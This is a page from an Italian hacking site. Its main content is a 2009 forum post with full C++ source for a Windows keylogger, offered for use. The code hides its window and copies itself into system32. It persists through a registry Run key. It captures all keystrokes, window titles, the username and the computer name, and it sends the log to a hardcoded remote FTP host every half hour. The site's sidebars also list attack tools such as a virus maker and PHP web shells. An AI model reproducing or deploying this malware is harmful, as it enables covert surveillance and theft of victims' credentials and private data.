KinG-InFeT.NeT  
  Login or Registrare
~  Home  ~  Downloads  ~  Your Account  ~  Forums  ~ Web-Links ~
Futuri aggiornamenti!!: Come avrete visto il sito � stato defacciato quindi data la poka sicurezza del CMS provveder� a cambiare interamente cms e a sistemare + la sicurezza
MENU - KinG-InFeT.NeT
· Home
· Acces Point Pwd-Default
· Archivio Exploit
· Ascii Tables
· Button Maker
· Cerca
· Codice Fiscale
· Contatta l'Admin
· Crea Avatar
· Dns IP Range
· Downloads
· Dragon Ball Series
· Flash Games
· Forums
· Genera Pass
· Geo-IP
· GuestBook
· HaCkEr-GaMe
· Home Page Flash Creator
· Image Hosting
· Invia una Fake-Mail
· l'HostName sapendo l'IP
· La migliore Distro Linux
· Lista Comandi UNIX
· Lista Utenti
· logo Creator
· MD5-Cracker Online
· MD5/SHA1 Generate
· Messaggi Privati
· MsN Account List
· My Personal Site
· Naviga Anonimo
· News dal Mondo dell'inf.
· Nick Name Maker
· No-Paste
· NuKe-TooLz
· NukeSentinel
· PaPeRs - TuToRiAl
· Proxy List
· Ricerca Satellitare
· Segnala Questo Sito
· Segnalami un Bug
· Smiley Generation
· Statistiche
· Top 10
· Total Search
· Userbar Creator
· WebLinks
· WordList
· XSS New Cheat List
 
Linkaci

Linkaci:

KinG-InFeT.NeT


 
Tool

Accedi al pannello di

Coding/Decoding - Tool


� By KinG-InFeT

 
Ricerca dominio
Registra il tuo Dominio Su Aruba :



 
Ultimi Download
Gli ultimi 10 Download
· 1: Shellr57
· 2: EVEREST Ultimate Edition v5.01.1700 + SERIALS
· 3: The Metasploit Project - Framework
· 4: Tanable Nessus Network Security Scanner
· 5: EtherApe
· 6: ntop - network top
· 7: Dsniff
· 8: Ettercap
· 9: TCPDUMP/LIBPCAP
· 10: Kismet


Top 10 Download
· 1: MsN-CrAsH [45]
· 2: Doork GooGle [44]
· 3: Acunetix Web Vulnerability Scanner 6 [40]
· 4: Virus Maker v 1.0 - NO LAMER! [38]
· 5: Matrix Effect [35]
· 6: Super Scan 4 [34]
· 7: Neo.Trace.Pro.v3.25 [32]
· 8: Cain & Abel [30]
· 9: FaKe-Mail [27]
· 10: ShellC99 [23]
 
Attack Hack Blocks
Questo è l'elenco degli indirizzi IP bloccati da NukeSentinel(tm).

· 79.46.31.224  - Script
· 79.10.29.101  - Script
· 79.54.99.183  - Script
· 72.51.46.230  - Admin
· 151.62.49.23  - Script
· 62.10.78.76  - Script
· 79.49.140.223  - Union
· 79.47.98.214  - Script
· 79.52.183.175  - Script
· 79.41.179.252  - Script
· 78.142.140.194  - Script
· 79.13.4.35  - Script
· 79.53.176.25  - Script
· 79.53.197.134  - Union
· 80.240.220.83  - CLike
· 79.36.13.104  - CLike
· 88.198.36.73  - Script
· 151.33.145.2  - Union
· 79.43.95.254  - Script
· 79.9.19.62  - Script

NukeSentinel™
 
KinG-InFeT.NeT: Forums

KinG-InFeT.NeT - Ufficial Forum :: Leggi il Topic - [C++] FTP KeyLogger
 
 FAQFAQ   CercaCerca   Lista degli utentiLista degli utenti   Gruppi utentiGruppi utenti 
 ProfiloProfilo   Messaggi PrivatiMessaggi Privati   LoginLogin 

[C++] FTP KeyLogger

 
Nuovo Topic   Rispondi    Indice del forum -> Programmazione C/C++
Precedente :: Successivo  
Autore Messaggio
admin
Founder
Founder


Registrato: Oct 03, 2008
Messaggi: 261

MessaggioInviato: Mer Apr 15, 2009 12:04 am    Oggetto: [C++] FTP KeyLogger Rispondi citando

Codice:
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <fstream>
#include <ctime>

#define  TARGET         "girex.altervista.org"   /* Change with your FTP host */
#define  USERNAME       "girex"                  /* Change with your FTP username */
#define  PASSWORD       "1234567890"             /* Change with your FTP password */
#define  REMOTE_LOG     "key_log.txt"            /* Change if you want change name of remote log */

using namespace std;   


char logPath[255] = {0};

int infect_sys(char *prog_name);
int write_log(char c);
int write_log(char *s, bool timed = false);   
void open_log(void);
void logWindowName(void);
bool isShifted(void);

DWORD WINAPI ftp_upload(LPVOID lpParam)
{
    HINTERNET hCon, sFtp;
   
    while(true)
    {
        hCon = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
     
        if(hCon == NULL)
        {
              write_log("\n[!] Errore nello stabilire la connessione: ", true);
              Sleep(1000 * 60);
              continue;
        }
   
        sFtp = InternetConnect(hCon, TARGET, INTERNET_DEFAULT_FTP_PORT, USERNAME, PASSWORD, INTERNET_SERVICE_FTP, 0, 0);
     
        if(sFtp == NULL)
        {
              write_log("\n[!] Errore nello stabilire la sessione FTP: ", true);
              Sleep(1000 * 60);
              continue;
        }
     
        if(!FtpPutFile(sFtp, logPath, REMOTE_LOG, INTERNET_FLAG_TRANSFER_BINARY, 0))
        {
              write_log("\n[!] Errore nell'upload del file: ", true);
              InternetCloseHandle(hCon);
              InternetCloseHandle(sFtp);
              Sleep(1000 * 60);
              continue;
        }
        else
        {
              DeleteFile(logPath);
              open_log();
        }

        InternetCloseHandle(hCon);
        InternetCloseHandle(sFtp);

        Sleep(1000 * 60 * 30);
   }
   
}

int main(int argc, char *argv[])
{
    bool shift;
    char keyName[25];
   
    HANDLE hThread;
   
    infect_sys(argv[0]);
   
    if(!GetSystemDirectory(logPath, 255))
    {
         write_log("\n[!] Errore nell'ottenere il percorso della cartella system32: ", true);
         sprintf(logPath, "C:\\WINDOWS\\system32\\key_log.txt");
    }
    else
    strcat(logPath, "\\key_log.txt");
   
    open_log();
    hThread = CreateThread(NULL, 0, ftp_upload, NULL, 0, (DWORD*) 0);
   
    if(hThread == NULL)
    {
         write_log("\n[!] Errore nella creazione del thread: ", true);
    }
   
    while(true)
    {                     
       for(int i = 8; i <= 256; i++)
       {
           if(GetAsyncKeyState(i) & 0x7FFF)
           {       
                logWindowName();   
                shift = isShifted();
                     
                if(i > 47 && i < 91)
                {
                      if(shift == false) write_log(tolower(i));
                      else write_log((char) i);
                }
                else
                {   
                    switch(i)
                    {
                         case VK_RETURN:
                              write_log("[ENTER]\n");
                              break;
                         case VK_SPACE:
                              write_log(" ");
                              break;
                         case VK_BACK:
                              write_log("[DEL]");
                              break;
                         case VK_SHIFT:
                         case VK_LSHIFT:
                         case VK_RSHIFT:
                         case VK_CAPITAL:
                              break;
                        default:                           
                              GetKeyNameText(MapVirtualKey(i, 0) << 16, keyName, 25);
                                 
                              if(strlen(keyName) < 2)  write_log(keyName);
                              else
                              {
                                   write_log('[');
                                   write_log(keyName);
                                   write_log(']');
                              }
                     }
                                               
                }
                     
           }                                         
      }
                                   
     Sleep(10);                 
    }
     
    return 0;
}

void open_log(void)
{
  DWORD bSize = 255;
  const char intro[] = "[+]   __GiReX__ Remote Keylogger 3\n";
   
  char userName[255], pcName[255];   
   
  write_log((char *) intro);

  GetComputerName(pcName, &bSize);
  GetUserName(userName, &bSize);

  write_log("\n[+] Username:\t\t");
  write_log(userName);

  write_log("\n[+] Nome del Computer:\t");
  write_log(pcName);
  write_log("\n");

  write_log("[+] Start Time:\t\t", true);
}

int infect_sys(char *prog_name)
{
  HKEY hKey;
  HWND hWnd;
  char destPath[255];

  hWnd = FindWindow("ConsoleWindowClass", NULL);
  ShowWindow(hWnd, SW_HIDE);

  if(!GetSystemDirectory(destPath, 255))
  {
         write_log("\n[!] Errore nell'ottenere il percorso della cartella system32: ", true);
         sprintf(destPath, "C:\\WINDOWS\\system32\\%s", prog_name);
  }
  else
  {   
         strcat(destPath, "\\");
         strcat(destPath, prog_name);
  }

  if(!CopyFile(prog_name, destPath, 0))
  {
         write_log("\n[!] Errore nel copiare il keylogger nella cartella system32: ", true);
         return 1;
  }

  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey)
     !=  ERROR_SUCCESS)
  {
         write_log("\n[!] Errore nella creazione della chiave di registro: ", true);
         return 1;
  }

  if(RegSetValueEx(hKey, "keylog", 0, REG_SZ, (const unsigned char*) destPath, strlen(destPath))
     !=  ERROR_SUCCESS)
  {
         write_log("\n[!] Errore nella creazione della chiave di registro: ", true);
         RegCloseKey(hKey);
         return 1;
  }

  RegCloseKey(hKey);
  return 0;
}

int write_log(char c)
{
    ofstream logFile(logPath, ios::out | ios::app);
   
    if(!logFile.is_open())
    {
         return 1;
    }
   
    logFile << c;
   
    logFile.flush();
    logFile.close();
   
    return 0;
}
   
int write_log(char *s, bool timed)
{
    time_t cTime;
    ofstream logFile(logPath, ios::out | ios::app);
   
    if(!logFile.is_open())
    {
         return 1;
    }
   
    logFile << s;
    if(timed == true)
    {
            time ( &cTime );
            logFile << ctime( &cTime );
    }
   
    logFile.flush();
    logFile.close();
   
    return 0;
}

void logWindowName(void)
{
   static HWND hWnd = NULL;
   char wName[255] = {0};
   
     if(hWnd != GetForegroundWindow())
       {     
           hWnd = GetForegroundWindow();
           if(GetWindowText(hWnd, wName, 255))
           {
                  write_log("\n\n[+] Finestra: ");
                  write_log(wName);
                  write_log("\n\n");
           }     
       }
}

bool isShifted(void)
{
     
     if((GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT)) & 0x8000)
     {
            if(GetKeyState(VK_CAPITAL)) return false;
            else  return true;     
     }
     else
     {
            if(GetKeyState(VK_CAPITAL)) return true;
            else  return false;
     }
}

by girex
Torna in cima
Profilo Messaggio privato Invia email HomePage MSN Messenger
Mostra prima i messaggi di:   
Nuovo Topic   Rispondi    Indice del forum -> Programmazione C/C++ Tutti i fusi orari sono GMT + 1 ora
Pagina 1 di 1

 
Vai a:  
Non puoi inserire nuovi Topic in questo forum
Non puoi rispondere ai Topic in questo forum
Non puoi modificare i tuoi messaggi in questo forum
Non puoi cancellare i tuoi messaggi in questo forum
Non puoi votare nei sondaggi in questo forum


CoPyRiGhT 2009 By KinG-InFeT
PhpBB Copiright 2009
Tutti I Diritti Riservati
Forums ©


Valid robots.txt
CoPyRiGhT © 2009/2010 By KinG-InFeT.NeT - Tutti i Diritti Riservati ®

Generazione pagina: 0.10 Secondi

Coder By KinG-InFeT